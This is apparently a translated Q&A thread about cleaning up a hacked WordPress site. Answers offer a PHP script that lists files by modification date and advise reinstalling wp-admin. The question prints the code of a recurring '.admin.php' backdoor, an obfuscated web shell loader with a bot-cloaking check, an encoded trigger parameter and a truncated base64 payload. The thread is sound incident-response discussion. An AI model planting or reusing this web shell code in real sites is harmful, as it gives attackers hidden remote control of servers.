我的wordpress网站被黑了。幸运的是,我已经能够清理所有受影响的文件,删除所有非活动插件和文件,完成恶意软件扫描(这是干净的)。但是,有一个文件即使在多次删除后仍会重新出现。
存在于我的wp-admin目录中,并且名为.admin.php。我确定这个文件是由黑客放置的文件。
我无法删除此文件,因为它不断重现。我已经联系过我的主机,他们甚至无法摆脱这个。
有人遇到过这个或其他任何我可以尝试的东西吗?
这是文件中的代码:
// Preventing a directory listing
if(!empty($_SERVER["HTTP_USER_AGENT"])) { $userAgents = array("Google", "Slurp", "MSNBot", "ia_archiver", "Yandex", "Rambler");
if(preg_match("/" . implode("|", $userAgents) . "/i", $_SERVER["HTTP_USER_AGENT"])) {
header("HTTP/1.0 404 Not Found");exit;
}
} if (isset($_GET[str_rot13(pack("H*", "667265707267"))])) {$_F=__FILE__;$_X="JDEzdGhfcDFzcyA9ICJ1NThmZGkwMDEwNm9vNjl1MGZjMTh1YmZvZTU3MDdkbyI7DQokYzJsMnIgPSAiI2RmaSI7DQokZDVmMTNsdF8xY3Q0Mm4gPSAnRjRsNXNNMW4nOw0KJGQ1ZjEzbHRfM3M1XzFqMXggPSB0cjM1Ow0KJGQ1ZjEzbHRfY2gxcnM1dCA9ICdVVEYtOCc7DQoJDQovLyBBRXFkYUFlSzB1DQoNCjRmKCE1bXB0eSgkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSB7DQogICAgJDNzNXJBZzVudHMgPSAxcnIxeSgiRzIyZ2w1IiwgIlNsM3JwIiwgIk1TTkIydCIsICI0MV8xcmNoNHY1ciIsICJZMW5kNXgiLCAiUjFtYmw1ciIpOw0KICAgIDRmKHByNWdfbTF0Y2goJy8nIC4gNG1wbDJkNSgnfCcsICQzczVyQWc1bnRzKSAuICcvNCcsICRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpIHsNCiAgICAgICAgaDUxZDVyKCdIVFRQLzYuMCB1MHUgTjJ0IEYyM25kJyk7DQogICAgICAgIDV4NHQ7DQogICAgfQ0KfQ0KDQpANG40X3M1dCgnNXJyMnJfbDJnJyxOVUxMKTsNCkA0bjRfczV0KCdsMmdfNXJyMnJzJywwKTsNCkA0bjRfczV0KCdtMXhfNXg1YzN0NDJuX3Q0bTUnLDApOw0KQHM1dF90NG01X2w0bTR0KDApOw0KQHM1dF9tMWc0Y19xMzJ0NXNfcjNudDRtNSgwKTsNCkBkNWY0bjUoJ1dTT19WRVJTSU9OJywgJ2EuaScpOw0KDQo0ZihnNXRfbTFnNGNfcTMydDVzX2dwYygpKSB7DQoJZjNuY3Q0Mm4gV1NPc3RyNHBzbDFzaDVzKCQxcnIxeSkgew0KCQlyNXQzcm4gNHNfMXJyMXkoJDFycjF5KSA/IDFycjF5X20xcCgnV1NPc3RyNHBzbDFzaDVzJywgJDFycjF5KSA6IHN0cjRwc2wxc2g1cygkMXJyMXkpOw0KCX0NCgkkX1BPU1QgPSBXU09zdHI0cHNsMXNoNXMoJF9QT1NUKTsNCiAgICAkX0NPT0tJRSA9IFdTT3N0cjRwc2wxc2g1cygkX0NPT0tJRSk7DQp9DQoNCmYzbmN0NDJuIHdzMkwyZzRuKCkgew0KCWQ0NSgiPHByNSAxbDRnbj1jNW50NXI+PGYycm0gbTV0aDJkPXAyc3Q+UDFzc3cycmQ6IDw0bnAzdCB0eXA1PXAxc3N3MnJkIG4xbTU9cDFzcz48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9Jz4+Jz48L2Yycm0+PC9wcjU+Iik7DQp9DQoNCmYzbmN0NDJuIFdTT3M1dGMyMms0NSgkaywgJHYpIHsNCiAgICAkX0NPT0tJRVska10gPSAkdjsNCiAgICBzNXRjMjJrNDUoJGssICR2KTsNCn0NCg0KNGYoITVtcHR5KCQxM3RoX3Axc3MpKSB7DQogICAgNGYoNHNzNXQoJF9QT1NUWydwMXNzJ10pICYmIChtZGkoJF9QT1NUWydwMXNzJ10pID09ICQxM3RoX3Axc3MpKQ0KICAgICAgICBXU09zNXRjMjJrNDUobWRpKCRfU0VSVkVSWydIVFRQX0hPU1QnXSksICQxM3RoX3Axc3MpOw0KDQogICAgNGYgKCE0c3M1dCgkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0pIHx8ICgkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKV0gIT0gJDEzdGhfcDFzcykpDQogICAgICAgIHdzMkwyZzRuKCk7DQp9DQoNCjRmKHN0cnQybDJ3NXIoczNic3RyKFBIUF9PUywwLG8pKSA9PSAidzRuIikNCgkkMnMgPSAndzRuJzsNCjVsczUNCgkkMnMgPSAnbjR4JzsNCg0KJHMxZjVfbTJkNSA9IEA0bjRfZzV0KCdzMWY1X20yZDUnKTsNCjRmKCEkczFmNV9tMmQ1KQ0KICAgIDVycjJyX3I1cDJydDRuZygwKTsNCg0KJGQ0czFibDVfZjNuY3Q0Mm5zID0gQDRuNF9nNXQoJ2Q0czFibDVfZjNuY3Q0Mm5zJyk7DQokaDJtNV9jd2QgPSBAZzV0Y3dkKCk7DQo0Zig0c3M1dCgkX1BPU1RbJ2MnXSkpDQoJQGNoZDRyKCRfUE9TVFsnYyddKTsNCiRjd2QgPSBAZzV0Y3dkKCk7DQo0ZigkMnMgPT0gJ3c0bicpIHsNCgkkaDJtNV9jd2QgPSBzdHJfcjVwbDFjNSgiXFwiLCAiLyIsICRoMm01X2N3ZCk7DQoJJGN3ZCA9IHN0cl9yNXBsMWM1KCJcXCIsICIvIiwgJGN3ZCk7DQp9DQo0ZigkY3dkW3N0cmw1bigkY3dkKS02XSAhPSAnLycpDQoJJGN3ZCAuPSAnLyc7DQoNCjRmKCE0c3M1dCgkX0NPT0tJRVttZGkoJF9TRVJWRVJbJ0hUVFBfSE9TVCddKSAuICcxajF4J10pKQ0KICAgICRfQ09PS0lFW21kaSgkX1NFUlZFUlsnSFRUUF9I
更新:
好的..我想出了为什么文件不断重新创建。我的主题文件夹中有一个名为Screenshot.png的文件。删除此文件后,我能够删除.admin.php文件(现在它没有重新出现)。在检查screenshot.png时,它似乎是一个普通的图像文件。
还不确定这个文件是如何链接到创建.admin php文件的?
答案 0 :(得分:1)
这可能略高于顶部,但此代码将遍历所有文件夹和文件,并将它们返回到输入框中两个指定日期之间的最后修改日期。 看看这是否能够帮到你。
<?php
function getFileList($dir, $recurse=false, $start=0, $end=0)
{
$retval = array();
if(!empty($start) && !empty($end))
{
$start_stamp = strtotime($start);
$end_stamp = strtotime($end);
}
// add trailing slash if missing
if(substr($dir, -1) != "/") $dir .= "/";
// open pointer to directory and read list of files
$d = @dir($dir) or die("getFileList: Failed opening directory $dir for reading");
while(false !== ($entry = $d->read()))
{
// skip hidden files
if($entry[0] == ".") continue;
if(is_dir("$dir$entry"))
{
if(!empty($start_stamp) && !empty($end_stamp))
{
if((filemtime("$dir$entry") <= $start_stamp && filemtime("$dir$entry") >= $end_stamp) || (filemtime("$dir$entry") >= $start_stamp && filemtime("$dir$entry") <= $end_stamp))
{
$retval[] = array(
"name" => "$dir$entry/",
"type" => filetype("$dir$entry"),
// "size" => 0,
"lastmod" => date('Y-m-d H:i:s',filemtime("$dir$entry"))
);
}
}elseif($start == 0 && $end == 0)
{
$retval[] = array(
"name" => "$dir$entry/",
"type" => filetype("$dir$entry"),
// "size" => 0,
"lastmod" => date('Y-m-d H:i:s',filemtime("$dir$entry"))
);
}
if($recurse && is_readable("$dir$entry/"))
{
$retval = array_merge($retval, getFileList("$dir$entry/", true, $start, $end));
}
}elseif(is_readable("$dir$entry"))
{
if(!empty($start_stamp) && !empty($end_stamp))
{
if((filemtime("$dir$entry") <= $start_stamp && filemtime("$dir$entry") >= $end_stamp) || (filemtime("$dir$entry") >= $start_stamp && filemtime("$dir$entry") <= $end_stamp))
{
$retval[] = array(
"name" => "$dir$entry",
"type" => filetype("$dir$entry"),
// "size" => filesize("$dir$entry"),
"lastmod" => date('Y-m-d H:i:s',filemtime("$dir$entry"))
);
}
}elseif($start == 0 && $end == 0)
{
$retval[] = array(
"name" => "$dir$entry",
"type" => filetype("$dir$entry"),
"size" => filesize("$dir$entry"),
"lastmod" => date('Y-m-d H:i:s',filemtime("$dir$entry"))
);
}
}
}
$d->close();
return $retval;
}
if(isset($_POST['start']) && isset($_POST['end']))
{
$begin_date = $_POST['start'];
$end_date = $_POST['end'];
// include subdirectories
$dirlist = getFileList("./", true,$begin_date, $end_date);
// echo '<pre>';
// print_r($dirlist);
// echo '</pre>';
$files = array();
$folders = array();
foreach($dirlist as $item)
{
if($item['type'] == 'file')
{
$files[] = $item;
}elseif($item['type'] == 'dir')
{
$folders[] = $item;
}
}
echo 'Folders:'."</br>";
foreach($folders as $folder)
{
echo $folder['lastmod'] . "\t" . $folder['name']. "</br>";
}
echo '</br>';
echo 'Files:</br>';
foreach($files as $file)
{
echo $file['lastmod']. "\t" . $file['name']. "</br>";
}
}else
{
echo '<form action="" method="post" id="form1">';
echo '<input type="text" name="start" placeholder="Begin"/></br>';
echo '<input type="text" name="end" placeholder="Eind"/></br>';
echo '<input type="submit" value="Scan bestanden"/>';
echo '</form>';
}
?>
这通常可以帮助我找到可能已被感染的文件并追踪可能的安全漏洞。正如其他人所建议的那样,重置密码等。
答案 1 :(得分:0)
下载您正在使用的该版本的WordPress副本。您的根目录中应该有一个名为readme.html
的文件 - 您将在其中找到该版本。
然后,您可以浏览Release Archives以查找该版本。从服务器中删除实际的wp-admin
文件夹,并替换为包中的文件夹。
像往常一样,在执行此类操作之前始终进行备份。我假设您遵循WordPress标准,并且您没有修改该文件夹中的任何文件。